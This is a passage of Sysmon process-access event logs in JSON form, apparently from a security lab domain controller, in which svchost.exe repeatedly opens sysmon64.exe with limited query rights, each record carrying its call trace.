C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 